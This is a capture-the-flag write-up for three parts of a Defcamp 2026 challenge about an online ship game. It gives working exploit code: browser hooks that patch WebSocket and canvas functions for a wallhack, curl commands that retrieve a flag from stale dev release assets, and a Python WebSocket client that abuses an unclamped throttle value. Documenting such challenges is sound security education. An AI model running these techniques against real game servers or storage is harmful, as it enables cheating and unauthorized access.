Category Archives: 2026

English [Defcamp Quals 2026] [Misc – Sea-of-theft] Write Up

Contributions by sirk390 (Q1) ,  eagle (Q2) and Axon (Q3)

Q1

The first part of the flag is received directly in a message sent by the server.
The second part is recovered by intercepting and ordering the hidden glyphs drawn on the canvas.

Code:


const state = window.SOT_Q1 = { frame: [], best: [] };

// Force the viewport packet to 6000 × 6000.
const nativeSend = WebSocket.prototype.send;

WebSocket.prototype.send = function (data) {
let packet = null;

if (data instanceof ArrayBuffer) {
packet = new Uint8Array(data.slice(0));
} else if (ArrayBuffer.isView(data)) {
packet = new Uint8Array(
data.buffer.slice(data.byteOffset, data.byteOffset + data.byteLength)
);
}

if (packet?.length === 5 && packet[0] === 0x04) {
const view = new DataView(packet.buffer);
view.setUint16(1, 6000, true);
view.setUint16(3, 6000, true);
data = packet;
}

return nativeSend.call(this, data);
};

// Capture the secret letters drawn individually on the map.
const ctx = CanvasRenderingContext2D.prototype;
const nativeFillText = ctx.fillText;

ctx.fillText = function (text, x, y, ...args) {
text = String(text);

if (text.length === 1 && x === 0 && Math.abs(y - 2.76) < 0.05) {
const m = this.getTransform();

state.frame.push({
char: text,
x: m.a * x + m.c * y + m.e,
y: m.b * x + m.d * y + m.f
});
}

return nativeFillText.call(this, text, x, y, ...args);
};

state.dump = () => {
const suffix = state.best
.slice()
.sort((a, b) => a.y - b.y || a.x - b.x)
.map(g => g.char)
.join("");

console.table(state.best);
console.log("suffix:", suffix);
return suffix;
};

(function nextFrame() {
const unique = [
...new Map(
state.frame.map(g => [
`${g.char}:${Math.round(g.x)}:${Math.round(g.y)}`,
g
])
).values()
];

if (unique.length > state.best.length) state.best = unique;
state.frame = [];
requestAnimationFrame(nextFrame);
})();

try {
Object.defineProperty(window, "innerWidth", {
configurable: true,
get: () => 6000
});
Object.defineProperty(window, "innerHeight", {
configurable: true,
get: () => 6000
});
} catch {}

// Trigger a new viewport packet to be sent.
window.dispatchEvent(new Event("resize"));

Then run:

SOT_Q1.dump()

The server also sends the beginning as a message:

The waves whisper: DCTF{W4llh4ck1

By combining it with the hidden glyphs, the Q1 flag is:

DCTF{W4llh4ck1N6_1s_s0_m3Ta}

Q2 / Yore

Description

You’ve become a true historian.

Resolution

The source of the game page contains this comment:

<!-- Dev asset bundle: serve the compiled asset pack statically at the origin
under /&lt;version&gt;/ (ASSETPACK.md §5.1), so `trunk serve` can fetch
/1/assets.idx + /1/pickups.pak. `client/assets/1/` is produced by
`assetpack compile ... --out client/assets/1` (see README Dev quickstart);
it is a git-ignored build artifact. Assets are static objects — they are
NOT routed through the game server. -->

This gives us two paths to try:

Both returned HTTP 200, but their contents were just the game’s HTML page. The files were not actually being served at those paths.

The script in the same page sets window.__PW2_RELEASE_PIN__.manifestUrl to:

https://sot-chall-test-versions.abcjr.dev/releases/prod/v0.1.1-cb5550c729d9-20260915T110811Z/release.json

This manifest lists the files for the current release. The asset files are served from the same directory:

https://sot-chall-test-versions.abcjr.dev/releases/prod/v0.1.1-cb5550c729d9-20260915T110811Z/

We download the index and look at the text inside it:

curl -fsS 'https://sot-chall-test-versions.abcjr.dev/releases/prod/v0.1.1-cb5550c729d9-20260915T110811Z/assets.idx' -o assets.idx
strings assets.idx

The index contains the pack names pickups and tutorial, along with the image names. There are five tutorial images, and the last one is called dev_tutorial.

Then download the tutorial pack:

curl -fsS 'https://sot-chall-test-versions.abcjr.dev/releases/prod/v0.1.1-cb5550c729d9-20260915T110811Z/tutorial.pak' -o tutorial.pak

tutorial.pak has a 24-byte header followed by five raw RGBA images. Each image is 720 × 640 pixels, with four bytes per pixel. The index stores their dimensions, offsets and sizes.

The fifth image, dev_tutorial, starts at offset 0x708018 and takes up 0x1c2000 bytes. This Python script uses Pillow to save it as a PNG:

from pathlib import Path
from PIL import Image

data = Path("tutorial.pak").read_bytes()
start = 24 + 4 * 720 * 640 * 4
Image.frombytes("RGBA", (720, 640), data[start:start + 720 * 640 * 4]).save("dev_tutorial.png")

The image shows the game with a dev mode panel. One line gives an older release ID:

release: v0.0.9-d2bad05a4314-20260914T130501Z

Using that release ID under /releases/prod/ returned 404:

https://sot-chall-test-versions.abcjr.dev/releases/prod/v0.0.9-d2bad05a4314-20260914T130501Z/release.json

Since the screenshot shows dev mode, try /releases/dev/ instead:

https://sot-chall-test-versions.abcjr.dev/releases/dev/v0.0.9-d2bad05a4314-20260914T130501Z/release.json

This returned HTTP 200. The manifest confirms variant: dev and version: 0.0.9.

Download this old dev release’s asset index:

curl -fsS 'https://sot-chall-test-versions.abcjr.dev/releases/dev/v0.0.9-d2bad05a4314-20260914T130501Z/assets.idx' -o old-assets.idx
strings old-assets.idx

It contains an extra pack called dev and an entry named flag.txt.

Download dev.pak and skip its 24-byte header:

curl -fsS 'https://sot-chall-test-versions.abcjr.dev/releases/dev/v0.0.9-d2bad05a4314-20260914T130501Z/dev.pak' -o dev.pak
tail -c +25 dev.pak

After the header the flag is in plain text with a newline.

DCTF{M4yb3_cl34n_y0ur_S3_buCk375_fr0m_t1m3_t0_71m3}

Exploit

curl -fsS 'https://sot-chall-test-versions.abcjr.dev/releases/prod/v0.1.1-cb5550c729d9-20260915T110811Z/assets.idx' -o assets.idx
strings assets.idx

curl -fsS 'https://sot-chall-test-versions.abcjr.dev/releases/prod/v0.1.1-cb5550c729d9-20260915T110811Z/tutorial.pak' -o tutorial.pak

python3 - &lt;&lt;'PY'
from pathlib import Path
from PIL import Image

data = Path("tutorial.pak").read_bytes()
start = 24 + 4 * 720 * 640 * 4
Image.frombytes("RGBA", (720, 640), data[start:start + 720 * 640 * 4]).save("dev_tutorial.png")
PY

curl -fsS 'https://sot-chall-test-versions.abcjr.dev/releases/dev/v0.0.9-d2bad05a4314-20260914T130501Z/assets.idx' -o old-assets.idx
strings old-assets.idx

curl -fsS 'https://sot-chall-test-versions.abcjr.dev/releases/dev/v0.0.9-d2bad05a4314-20260914T130501Z/dev.pak' -o dev.pak
tail -c +25 dev.pak

 

sea-of-theft Q3

There is only one asset, the WASM client of some pipworld2 game. The page requests it from a release manifest, opens a websocket to a game server, and we pilot a ship over the sea collecting treasure. There is a Flag to locate.

Overview

We decompile the wasm with wasm-decompile (wabt) and read the code.

The string FLAG: {}{}: {}{}. {} {} is embedded into the wasm binary and referenced once – in the asset loader. The code fills that placeholders using bytes from the flag record in a datapack entry and logs the resulting string with console.log. So the client logs the flag itself, but only if it loads a datapack containing the flag record.

We download the static assets from the release host. The release.json specifies the path to pipworld2.dat, the wasm, and the glue js file. We parse pipworld2.dat and see that it is a small PIP2 container with a set of sprite palettes, five ship tiers, and some numbers. There is no flag record inside it. So the flag is packed into another datapack that the server sends us in response to something.

The other thing we establish early is the structure. The client is just a simple renderer. It passes the input data to the server and renders whatever the server returns to it. The movement is controlled on the server side.

The protocol

We reverse the encoder of the outgoing protocol. The client communicates with the server via a small binary protocol over the websocket and the frame we need is the input frame:

0x02 | seq u16 | angle u16 | throttle f32 | flags u8

The angle field is the heading, measured in radians, and stored as round(radians / 2pi * 65536). throttle is a plain little-endian f32 value. flags contains the button states.

The crucial property of the protocol is that the throttle field is passed to the server without any clamping and the client never sends its coordinates, it just declares the desired heading and the throttle. So the server calculates the actual motion of the ship.

The join request must be the very first message we send, otherwise the server will close the connection with the code 4001 and the message “expected Join”. The message we replay is the following:

0x01 0x08 &lt;firstNameIdx&gt; &lt;lastNameIdx&gt; 0x0F "pipworld2-local"

On the way back the server streams our own state (tag 0x81, full f32 x, y, heading, hp) and the state of entities (tag 0x82 where the entity positions are u16 values divided by ten).

The map and the wall

We implement the WebSocket python client in order to join the game and read our own position out of the 0x81 frames. We approach the center of the map and observe it.

The map size is 6000×6000. There is a hard circular wall of the radius around 500 centered at (3000, 3000). No matter from what direction and with what throttle we sail, the server constantly pushes us back, so we can only slide along the wall and never pass through it. Everything else, all ships and all treasures, behaves the same way. The center of the map is a perfect disk that nothing ever reaches.

The tuning block from pipworld2.dat confirms our observations. It contains the sanctuary radius of 500 and dig radius of 180. Cursed Doubloon, which is the goal of the game, resides at the center of the map. To capture it one has to be within 180 from the doubloon and the wall blocks everybody at 500 radius. Thus, the treasure is unreachable under normal circumstances.

The idea

The flag reveals itself saying “never trust the client” and that is exactly our bug.

The server trusts our throttle. Under normal conditions the ship moves by a small step each tick, so it slides along the wall until it gets clamped back to the wall radius and then slides some more. But the throttle value is not clamped, so we can request a very high speed and travel the whole distance to the center within one tick.

What matters here is the sequence of operations on the server per tick. It first moves the ship according to our throttle, then checks whether the ship got within the radius to seize the doubloon and finally applies the wall clamp that pushes us back to the radius. The seize check uses the position obtained before the clamp. So we do not have to remain inside the wall, we only need one tick where the position obtained after moving equals to the position of the doubloon.

So we stop on the wall, move straight to the center of the map with throttle set to the distance to the center multiplied by the tick rate. On one tick we land the ship right on the doubloon, it seizes the doubloon, the server sends us the flag pack and the client logs the flag.

Exploit

We sail to the wall at normal throttle, and the moment our distance to the center becomes less than the wall radius we apply the stab: the heading straight to the (3000, 3000), the throttle equals to the distance times the tick rate to make the ship land the center. The reader thread processes each inbound frame searching the flag.

import base64, math, os, re, socket, ssl, struct, threading, time
from urllib.parse import urlparse

URL = "wss://sot-chall-test-prod-server.abcjr.dev/ws"
ORIGIN = "https://sot-chall.abcjr.dev"
CENTER = (3000.0, 3000.0)
FLAG = re.compile(rb'DCTF\{[^}]+\}')

def enc_join():
name = b"pipworld2-local"
return bytes([0x01, 0x08, 0, 0, len(name)]) + name

def enc_input(seq, rad, throttle):
ang = int(round(rad / (2 * math.pi) * 65536.0)) &amp; 0xffff
return struct.pack("&lt;BHHfB", 0x02, seq &amp; 0xffff, ang, float(throttle), 0)

class WS:
def __init__(self, url, origin):
u = urlparse(url)
s = socket.create_connection((u.hostname, u.port or 443))
s = ssl.create_default_context().wrap_socket(s, server_hostname=u.hostname)
self.s = s; self.buf = b""; self.lock = threading.Lock()
key = base64.b64encode(os.urandom(16)).decode()
s.sendall((f"GET {u.path} HTTP/1.1\r\nHost: {u.hostname}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
f"Origin: {origin}\r\n\r\n").encode())
while b"\r\n\r\n" not in self.buf:
self.buf += s.recv(4096)
self.buf = self.buf.split(b"\r\n\r\n", 1)[1]

def send(self, data):
m = os.urandom(4)
body = bytes(b ^ m[i &amp; 3] for i, b in enumerate(data))
with self.lock:
self.s.sendall(struct.pack("!BB", 0x82, 0x80 | len(data)) + m + body)

def _take(self, n):
while len(self.buf) &lt; n:
self.buf += self.s.recv(65536)
out, self.buf = self.buf[:n], self.buf[n:]
return out

def recv(self):
b0, b1 = self._take(2)
ln = b1 &amp; 0x7f
if ln == 126: ln = struct.unpack("!H", self._take(2))[0]
elif ln == 127: ln = struct.unpack("!Q", self._take(8))[0]
return b0 &amp; 0x0f, self._take(ln)

def main():
ws = WS(URL, ORIGIN)
pos = {"x": None, "y": None}
done = threading.Event()

def reader():
while not done.is_set():
op, pl = ws.recv()
if op == 0x8:
done.set(); break
if op != 0x2 or not pl:
continue
m = FLAG.search(pl)
if m:
print(m.group().decode()); done.set(); break
if pl[0] == 0x81 and len(pl) &gt;= 20:
x, y = struct.unpack_from("&lt;ff", pl, 8)
if 0 &lt;= x &lt;= 20000 and 0 &lt;= y &lt;= 20000:
pos["x"], pos["y"] = x, y

threading.Thread(target=reader, daemon=True).start()

ws.send(enc_join())
time.sleep(0.3)
ws.send(struct.pack("&lt;BHH", 0x04, 1920, 1080))

seq = 0
while not done.is_set():
x, y = pos["x"], pos["y"]
if x is not None:
d = math.hypot(CENTER[0] - x, CENTER[1] - y)
rad = math.atan2(CENTER[1] - y, CENTER[0] - x)
spd = min(2500.0, d) if d &gt; 560 else d * 30.0
seq = (seq + 1) &amp; 0xffff
ws.send(enc_input(seq, rad, spd))
time.sleep(1 / 30)

main()

We execute the script and the flag is logged the very first time we stab to the center of the map.

Flag

DCTF{l3550n_Numb3r_0n3_n3v3r_7rust_7He_cl13Nt}